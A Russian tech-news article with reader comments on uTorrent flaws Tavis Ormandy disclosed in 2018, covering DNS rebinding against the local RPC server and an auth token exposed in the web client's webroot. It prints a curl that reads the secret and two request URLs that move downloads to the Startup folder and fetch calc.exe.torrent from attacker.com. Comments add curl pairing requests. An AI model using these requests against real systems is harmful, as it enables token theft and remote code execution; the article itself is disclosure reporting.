Взлом возможен только если uTorrent работает с настройками по умолчанию, а именно с HTTP RPC сервером на порту 10000 (uTorrent Classic) или 19575 (веб-версия uTorrent) с активированным обработчиком
/proxy/
(он активирован по умолчанию). Баги нашёл хакер Тэвис Орманди (Tavis Ormandy) из подразделения Project Zero в компании Google. Он разгласил информацию в баг-трекере Chromium 31 января 2018 года (через 90 дней после того, как сообщил о ней разработчикам).
Как пишет Тэвис, любой веб-сайт может взаимодействовать с вышеуказанными RPC-серверами через программный интерфейс XMLHTTPRequest(). Это API использует запросы HTTP или HTTPS напрямую к серверу и загружает данные ответа сервера напрямую в вызывающий скрипт. Интерфейс позволяет осуществлять HTTP-запросы к серверу без перезагрузки страницы и часто используется на многих современных сайтах.
Для взлома машины, где работает uTorrent, нужно заманить пользователя на веб-страницу, где установлен эксплоит. Это может быть совершенно любой сайт. Эксплоит через перепривязывание DNS по XMLHTTPRequest() заставляет браузер запустить скрипт, обращающийся к этому RPC-серверу.
На демо-странице приведены примеры, какие действия может инициировать веб-сайт через интерфейс JSON RPC сервера на порту 10000. Здесь через программный интерфейс по XMLHTTPRequest() отправляются стандартные команды uTorrent.
Тэвис пишет, что изучая разные команды uTorrent-клиенту он заметил, что в программе с настройками по умолчанию активен обработчик
/proxy/
, что позволяет стороннему сайту посмотреть список скачанных файлов и скопировать их. То есть по умолчанию uTorrent позволяет любому сайту проверить список скачанных вами торрентов, достаточно лишь сбрутить одно маленькое число (sid), которое присваивается каждому открытому торренту по очереди.Орманди сделал демо-страничку. Хакер говорит, что демка работает медленно, но если вы всё-таки хотите увидеть фокус, то сделайте следующее:
- Установите uTorrent с дефолтными настройками.
- Добавьте торрент из URL: https://archive.org/download/SKODAOCTAVIA336x280/SKODAOCTAVIA336x280_archive.torrent.
- По окончании скачивания торрента (он всего лишь 5 МБ) перейдите на страницу с демкой.
- Подождите несколько минут.
По ходу изучения программы uTorrent Тэвис нашёл в ней ещё парочку багов и недостатков: например, некорректный генератор псевдослучайных чисел, отключение защиты памяти ASLR и неправильная работа в «гостевом» режиме, где должны быть отключены многие функции, а на самом деле они доступны через тот же сервер на порту 10000.
В веб-версии уязвимость ещё жёстче, потому что там любой сторонний сайт может получить доступ к токену аутентификации, секрет которого хранится в открытой папке webroot (как и настройки, дампы, логи и др.) — это очень удивило Тэвиса Орманди.
$ curl -si http://localhost:19575/users.conf
HTTP/1.1 200 OK
Date: Wed, 31 Jan 2018 19:46:44 GMT
Last-Modified: Wed, 31 Jan 2018 19:37:50 GMT
Etag: "5a721b0e.92"
Content-Type: text/plain
Content-Length: 92
Connection: close
Accept-Ranges: bytes
localapi29c802274dc61fb4 bc676961df0f684b13adae450a57a91cd3d92c03 94bc897965398c8a07ff 2 1
Получив секрет, можно дистанционно изменить директорию для скачивания и дать команду на загрузку произвольного файла. Например, загрузить вредоносный код в папку автозагрузки:
http://127.0.0.1:19575/gui/?localauth=token:&action=setsetting&s=dir_active_download&v=C:/Users/All%20Users/Start%20Menu/Programs/Startup
http://127.0.0.1:19575/gui/?localauth=token:&action=add-url&url=http://attacker.com/calc.exe.torrent
> Рабочий эксплоит
Разработчики из компании BitTorrent, Inc. уже выпустили патч для uTorrent под Windows. Пока что он доступен только в бета-версии uTorrent/BitTorrent 3.5.3.44352, которая в ближайшее время должна стать доступна через механизм автоматического обновления. Пользователям uTorrent Web надо обновиться на последний билд 0.12.0.502.
uTorrent — один из самых популярных торрент-клиентов, написан на C++. Отличается небольшим размером и высокой скоростью работы при достаточно большой функциональности. Первая версия вышла 18 сентября 2005 года. Сейчас доступен в версиях для всех основных операционных систем. Количество пользователей превышает 100 млн человек. В первых версиях автор пытался зарабатывать на контекстной рекламе, потом программу купила компания BitTorrent, которая монетизировалась через навязывание тулбаров, adware и «Яндекс.Браузера» (в русскоязычной версии).
Комментарии (39)
Andy_U
21.02.2018 23:21Хмм, зашел на страничку lock.cmpxchg8b.com/utorrent-crash-test.html, понажимал на кнопочки. Реакция лишь на 2: pairing request и pin request — в uTorrent действительно вылезают 2 диалога. На crash и device transfer (что это?) никакой реакции. Да, и никаких настроек этого RPC сервера я что-то не вижу. curl какие-то ошибки возвращает. Т.е. совсем не то, что в оригинальной публикации.
p.s. uTorrent 3.3 (build 290822) [32-bit].Andy_U
21.02.2018 23:29Вдогонку, если в Advanced preferences поставить webui.allow_pairing в false, то и ранее работающие 2 кнопки (pairing request и pin request) перестают диалоги открывать.
Aingis
23.02.2018 13:40Похоже,
net.discoverable
отключает эту фичу напрочь. Не знаю, как влияет на работу торрентов, но скачиванию и отдаче вроде не мешает.
P.S. Да, описание прямо говорит, что «µTorrent ожидает запросы на подключение внешних приложений на одном из предназначенных для этого портов (в настоящий момент это порт 10000)».Andy_U
23.02.2018 14:51Вы пробовали с той же машины, где uTorrent работает, или с «соседней»?
Просто у меня со своей, эта опция несколько странно работает:
Если true (default), то запрос на pairing, при webui.allow_pairing = false отрабатывает так:
D:\>curl -v "http://localhost:10000/gui/pair?pairing=AAAAAAAAAA&callback=error&type=1&deviceid=AAAAAAAAAAAAAAAAAAAA&pin=1234&name=Enter%20PIN%201234%0a%0aAdministrator" * Trying ::1... * TCP_NODELAY set * Trying 127.0.0.1... * TCP_NODELAY set * Connected to localhost (127.0.0.1) port 10000 (#0) > GET /gui/pair?pairing=AAAAAAAAAA&callback=error&type=1&deviceid=AAAAAAAAAAAAAAAAAAAA&pin=1234&name=Enter%20PIN%201234%0a%0aAdministrator HTTP/1.1 > Host: localhost:10000 > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 401 Unauthorized < Connection: close < Content-Length: 0 < Content-Type: text/html < Cache-Control: no-cache < * Closing connection 0
А если поменять net.discoverable = false, то так:
D:\>curl -v "http://localhost:10000/gui/pair?pairing=AAAAAAAAAA&callback=error&type=1&deviceid=AAAAAAAAAAAAAAAAAAAA&pin=1234&name=Enter%20PIN%201234%0a%0aAdministrator" * Trying ::1... * TCP_NODELAY set * Trying 127.0.0.1... * TCP_NODELAY set * Connected to localhost (127.0.0.1) port 10000 (#0) > GET /gui/pair?pairing=AAAAAAAAAA&callback=error&type=1&deviceid=AAAAAAAAAAAAAAAAAAAA&pin=1234&name=Enter%20PIN%201234%0a%0aAdministrator HTTP/1.1 > Host: localhost:10000 > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 200 OK < Connection: keep-alive < Content-Length: 24 < Content-Type: text/html < error('invalid request')* Connection #0 to host localhost left intact
Т.е. локально этот дурацкий сервер не отключается.Aingis
23.02.2018 18:14Хмм, сразу не проверял, запустил сейчас, ответ такой:
* TCP_NODELAY set % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* connect to 127.0.0.1 port 10000 failed: Connection refused * Failed to connect to localhost port 10000: Connection refused * Closing connection 0 curl: (7) Failed to connect to localhost port 10000: Connection refused
Может перезапускать надо?
Andy_U
23.02.2018 15:05На всякий случай, под Windows, надо при запуске curl использовать двойные кавычки!
Bioman85
22.02.2018 08:20С включенным IAC и при запуске не от администратора в автозапуск ничего скачать не даст, чтобы оно не делало.Просто туда доступа не будет.
Lordbl4
22.02.2018 08:48+1кому нужны эти ваши uТорренты, когда есть qBittorent?
Andy_U
22.02.2018 23:30А есть простой способ туда «библиотеку» перенести из uTorrent'а? Желательно с историей. Я помню, когда перетаскивал файлы с диска C на диск D, так и то какой-то утилитой пользовался. А тут как?
Lordbl4
23.02.2018 17:53статистику — врятли, а раздачи легко. в настройках указываем папку для загрузок, перемещаем туда файлы и добавляем torrent-файлы. пройдёт проверка уже имеющихся файлов и начнётся раздача
Num
23.02.2018 02:46qBittorent может внезапно перестать скачивать с определенного трекера и ничего с этим нельзя будет поделать, приходится возвращаться.
Lordbl4
23.02.2018 17:58пользуюсь с первого релиза, никогда таких проблем не замечал. сиды могут пропадать в том числе и из-за роскомпозора. настройка обхода блокировок дело рук самих пользователей.
navion
23.02.2018 18:05Что они запихнули в дистрибутив? uTorrent со всей блоатварью весит в 10 раз меньше.
KorDen32
24.02.2018 12:11У qBittorrent, к сожалению, есть пучок неприятных проблем.
С версии 3.3.11 есть глюки в работе с прокси.
С версии 4.0.0 появилось бешеное использование диска (пофикшено в недавно вышедшей 4.0.4) и периодические странные отвалы задач — не запускаются сами при запуске программы или не анонсируются (вроде не пофикшено).
Кроме того, у него иногда странная логика выбора пиров и приоритетов — там, где uTorrent спокойно подключается к локальным пирам на большой скорости, qB их либо не видит, либо качает с них почему-то очень медленно.
cicatrix
22.02.2018 10:33Уязвимость SuperHole v. 666 от 2045 года:
1. Скачайте дистрибутив эксплойта SuperHole v. 666 с официального сайта! (не доверяйте другим сайтам, в сети много подделок), только скачивая данную уязвимость с нашего сайта вы получаете её гарантированно.
2. Отключите файрволл и антивирус
3. Запустите установщик от имени администратора, примите лицензионное соглашение.
4. Дождитесь окончания установки
Поздравляем, вы установили уязвимость SuperHole 666 на ваше устройство.
Теперь о том, как её закрыть:
1. Скачайте Anti-SuperHole v. 667 с официального сайта…
ton1
Эхх старая версия 2.2.1 пробивается тоже.
А что если это хитрый план разрабов по пересадке всех на новую ветку с рекламой и адварью?
FreeManOfPeace
А что если это хитрый план по пересадке всех на qBittorrent?
DoctorMoriarty
Или это заговор Tixati!
NeoCode
NO Spyware, NO Adware, NO Source Code :)
DoctorMoriarty
>NO Source Code
Как будто в этом есть что-то плохое :-) Эта софтина пока не была скомпрометирована и оснований для подозрений нет.
Lertmind
Когда они сделают смену пути у отдельных файлов, можно будет подумать.
faiwer
Проверил. Есть. Всё работает. Правая кнопка в разделе content на нужном файле и rename. Или вам прямо тасовать между директориями нужно?
sim2q
а также их переименование (да, я знаю — придётся хранить оригинальное отдельно)
StSav012
Ага, который жрёт ресурсы процессора так, что вспоминается история про криптовалюты и торрент-клиент.
QDeathNick
Вы точно про qbittorrent? У него открытый код подписанный pgp, какие там могут быть криптовалюты.
Может это вообще реклама SKODA-OCTAVIA?
StSav012
Аналогия всплывает. Я понимаю, чтт это косяк создателей, но не знаю, на что он тратит столько процессорного времени.
mayorovp
Вы путаете, процессор жрут как раз последние версии uTorrent.
sumanai
Так никто не заставляет использовать последние.
StSav012
Не путаю. К сожалению, и web-версия, и qt-версия qbittorrent на некоторых системах используют ровно весь ресурс процессора. Баги репортят от начала веков, но всё одно.
wadeg
Ровно наоборот: при переходе с uTorrent на qBittorent перестал выжираться процессор на сотне-другой раздач.